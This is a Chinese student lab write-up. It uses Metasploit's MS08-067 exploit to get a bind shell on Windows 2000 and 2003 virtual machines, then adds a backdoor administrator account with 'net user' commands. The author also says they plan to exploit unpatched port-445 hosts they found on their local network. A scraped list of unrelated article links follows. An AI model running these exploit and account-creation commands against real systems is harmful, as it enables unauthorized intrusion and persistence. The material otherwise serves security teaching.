这次实验的主角是素有“内网杀手”之称的metasploit。还是少说一些夸赞它的话(因为即使功能再强大,不明白它的原理,不会灵活使用它集成的功能,一样没有用),我们直入主题。简单说一下这次实验的目的:利用目标主机自身存在的内存溢出漏洞获取目标主机的执行权限。

metasploit的强大不光在于漏洞利用方面,还有就是在信息收集方面。关于扫描,这里不多说,大家可以参考Matasploit扫描漏洞方法

实验环境:

windows2000(靶机)、windows2003(靶机)、4.3.0-kali1-amd64(渗透机)

首先,我们还是先查看一下1号靶机的信息。一看到windows2000,还有点小兴奋,跟看到古董似的。



root@localhost:~# msfconsole进入metasploit终端界面,不得不说每次进入metasploit都会有不同的LOGO:



查看目标靶机是否可以ping通以及查看MS08-067漏洞是否适用于windows2000。

msf > ping 192.168.245.135
msf > info exploit/windows/smb/ms08_067_netapi





从上图,我们可以看出MS08-067漏洞的可用目标包含windows2000

接着利用该漏洞并加载相应的模块:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
msf exploit(ms08_067_netapi) > set rhost 192.168.245.135
msf exploit(ms08_067_netapi) > exploit





果然是“古董”,比纸还脆,一碰就破。

其实最开始我选择的靶机并不是它,是自己之前学习时利用的一个操作系统——windows2003sp3。它没有打任何的补丁,也没有进行过任何的更新,可是它却异常地顽强,我几乎查阅了所有的资料,用了metasploit自带的所有windows漏洞都没能抓取到一个可用的session。后来,我返回去看它的镜像文件。

2003_万能?仔细回想,这个镜像文件是2014年我在雨林木风下载的,补丁早已更新至当月最新,所以很多已有的漏洞都不能用了。而我又不是那种轻易放弃的人,我想到了最近才出来的“永恒之蓝”漏洞,它也是利用445和339端口,所以打算更新metasploit及其数据库。但是并不能行,而后我又上网查资料如何利用“永恒之蓝”漏洞,发现必须去官方源下载wine。至此我终于放弃了,因为我太了解我们宿舍的网了(到现在我还木有实验室,只能在寝室),而且这一个实验已经拖了太久了,最后我还是选择了更换靶机,总的来说还是有些遗憾。

我们接着看对windows2003的渗透:

这是靶机信息:



我们仍然利用MS08-067漏洞:

msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set rhost 192.168.245.136
msf exploit(ms08_067_netapi) > exploit





靶机就是靶机。

实验结束时,靶机也自动锁屏了,而且登录还要密码,而我并不知道密码。



索性就利用刚拿到的shell执行权限提权吧:

C:\WINDOWS\system32>net user admin admin /add        //新建用户admin 密码也是admin
C:\WINDOWS\system32>net localgroup Administrators admin /add //将admin用户添加到administrator组
C:\WINDOWS\system32>net user admin /active:yes



然后再登录:





好了,现在可以为所欲为了(假装这是得到的别人服务器)。

总结:

内存溢出漏洞的原理详见内存溢出漏洞的原理与防治。metasploit功能强大,这次实验只是看到了它的冰山一角,我相信外界对它的评价不是吹嘘出来的。尽管它的很多功能我还没接触到,但我已经有了挖掘它的兴趣。而且我肯定会完成对“永恒之蓝”漏洞的 利用,因为对局域网的扫描让我发现了很多主机的445和339仍然开启,而且我不相信它们都已经被打补丁。

【网络与系统安全】20179209 利用metasploit对windows系统的渗透的更多相关文章

  1. 利用Python进行windows系统上的图像识别与点击(Mac OS系统也可以)

    系统环境: 1.安装了python 2.安装了pyautogui模块 windows系统:无需安装依赖模块,在cmd中直接输入pip install pyautogui即可完成安装 Mac OS系统: ...

  2. 【转载】DOS 系统和 Windows 系统有什么关系?为什么windows系统下可以执行dos命令?

    作者:bombless 因为不同的系统都叫 Windows ,这些系统在界面上也有一定连续性并且因此可能造成误解,所以有必要稍微梳理一下几个不同的 Windows 系统.首先是 DOS 上的一个图形界 ...

  3. 在windows系统上安装VMware Workstation虚拟机,然后在虚拟机VMware Workstation上安装linux系统,在linux系统安装xshell的服务端,在windows系统上安装xshell。用windows系统上的xshell连接到linux

    第一步:安装xshell: 去百度   xshell ,然后安装一下就可以了.就是普通的软件安装,在这里不做过多的接收. 第二步:安装虚拟机VMware Workstation 百度安装,不做过介绍 ...

  4. 如何在Windows系统上用抓包软件Wireshark截获iPhone等网络通讯数据

    http://www.jb51.net/os/windows/189090.html 今天给大家介绍一种如何在Windows操作系统上使用著名的抓包工具软件Wireshark来截获iPhone.iPa ...

  5. 收集入侵Windows系统的证据

    随着网络的不断扩大,网络安全更加会成为人们的一个焦点,同时也成为是否能进一步投入到更深更广领域的一个基石.当然网络的安全也是一个动态的概念,世界上没有绝对安全的网络,只有相对安全的网络.相对安全环境的 ...

  6. Python 编程环境搭建(Windows 系统中)

    由于大家普遍使用 Windows 系统,所以本文只介绍 Windows 系统中 Python 环境的安装. 在 Windows 中安装 Python 与安装普通软件没什么差别,下载所需版本的安装包后, ...

  7. windows系统下c语言暂停程序

    原文:windows系统下c语言暂停程序 windows系统下,很多C语言初学者的调试时,往往没看到结果程序就退出了,据我所知的方法主要有以下几种 方法一: #include int main() { ...

  8. Windows系统架构

    操作系统模型   大多数操作系统中,都会把应用程序和内核代码分离运行在不同的模式下.内核模式访问系统数据和硬件,应用程序运行在没有特权的模式下(用户模式),只能使用有限的API,且不能直接访问硬件.当 ...

  9. linux系统和Windows系统共存

    最近接触了linux系统,因为对linux系统一直存在一种敬畏之心,所以决定研究研究 那么今天我在这里呢是要和大家分享一下在Windows存在的情况下安装双系统linux 那么第一步呢,就是斤BIOS ...

随机推荐

  1. spring 自定义解析类

    设计配置属性和JavaBean 编写XSD文件 编写NamespaceHandler和BeanDefinitionParser完成解析工作 编写spring.handlers和spring.schem ...

  2. 【hibernate】hibernate不同版本的命名策略

    ===================================================hibernate 4命名策略如下================================ ...

  3. Hibernate4.3.6 Final+Spring3.0.5配置出错提示及解决方法

    1. Caused by: org.hibernate.cache.NoCacheRegionFactoryAvailableException: Second-level cache is used ...

  4. 【Python】使用scatter()绘制散点图

    绘制简单散点图 要绘制单个点,使用scatter()函数,并向它传递一对x和y坐标,它将在指定位置绘制一个点 import matplotlib.pyplot as plt plt.scatter(2 ...

  5. [Java开发之路](23)装箱与拆箱

    1. 简单介绍 大家对基本数据类型都很熟悉.比如 int.float.double.boolean.char 等.基本数据类型是不具备对象的特性,比方基本类型不能调用方法.功能简单. ..,为了让基本 ...

  6. 一文了解ConfigurationConditon接口

    ConfigurationCondition 接口说明 @Conditional 和 Condition ​ 在了解ConfigurationCondition 接口之前,先通过一个示例来了解一下@C ...

  7. HTML5 2D平台游戏开发#1

    在Web领域通常会用到一组sprite来展示动画,这类动画从开始到结束往往不会有用户参与,即用户很少会用控制器(例如鼠标.键盘.手柄.操作杆等输入设备)进行操作.但在游戏领域,sprite动画与控制器 ...

  8. python学习(十一)函数、作用域、参数

    定义和调用函数 在这里函数的定义和调用和一般的语句没什么不一样,感觉函数也是对象 #!/usr/bin/python def times(x, y):                # 定义函数    ...

  9. python学习(六)元组学习

    元组就是列表的一种,不过元组具有不可变性,而且是用圆括号访问的. 索引(下表索引或者键索引都是用的中括号) #!/usr/bin/python # 这节来学习元组, tuple, 基本上就像一个不可以 ...

  10. linux中MACHINE_START&END在9g10ek上实现

    在linux的板卡初始化文件中有machine的相关定义 //arch/arm/mach-at91/board-sam9261ek.c MACHINE_START(AT91SAM9G10EK, &qu ...